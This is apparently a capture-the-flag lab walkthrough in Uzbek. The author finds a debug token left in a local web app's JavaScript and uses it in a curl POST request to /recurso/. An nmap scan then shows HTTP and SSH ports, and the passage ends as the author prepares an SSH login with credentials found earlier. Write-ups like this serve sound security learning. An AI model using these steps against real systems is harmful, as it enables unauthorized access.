Machine ni yuklab olib uni ishga tushirdim, endi shunchaki ip ni brauzerga yozib tekshirib ko’ramiz, balki sayt bordir.

Sayt bor ekan, bizga saytni source kodi qiziq uni ko’ramiz.

Source kodda saytning js da yozilgan sahifasi bor ekan. Sahifaga kirib ko’ramiz.

Bu yerdagi matn tarjima qilinsa

"Nosozliklarni aniqlash (debug) opsiyalari uchun, /recurso/ manzilidagi token — tokentraviesito."

deb yozilgan.

endi /recurso/ sahifasiga kirib ko’ramiz.

endi boya dasturchi qoldirgan token orqali shu sahifaga POST so’rov jo’natamiz.

curl -X POST -H 'Content-Type: application/json' -d '{"token":"tokentraviesito"}' 'http://172.17.0.2:3000/recurso/' -v 

ishladi demak bizga matn qaytdi, endi target nmap qilib ochiq portlarini tekshiramiz.

80/tcp   open  http    Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Mi Sitio
3000/tcp open  http    Node.js Express framework
|_http-title: Error
5000/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
|_  256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)
MAC Address: 96:40:9B:AE:60:53 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=10/18%OT=80%CT=1%CU=30992%PV=Y%DS=1%DC=D%G=Y%M=96409B%
OS:TM=6AD4673D%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=
OS:I%TS=21)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=106%GCD=1%I
OS:SR=109%TI=Z%CI=Z%II=I%TS=22)SEQ(SP=FF%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=22
OS:)OPS(O1=M5B4ST11NWA%O2=M5B4ST11NWA%O3=M5B4NNT11NWA%O4=M5B4ST11NWA%O5=M5B
OS:4ST11NWA%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88
OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNWA%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)

5000 port ssh ishlayapti unga boya topgan login parol bilan kirib ko’ramiz.Undan oldin bu machine docker da ishga tushgani sababli docker buyrug’i bilan dockerni ichida qanday foydalanuvchialr borligini aniqlay olamiz.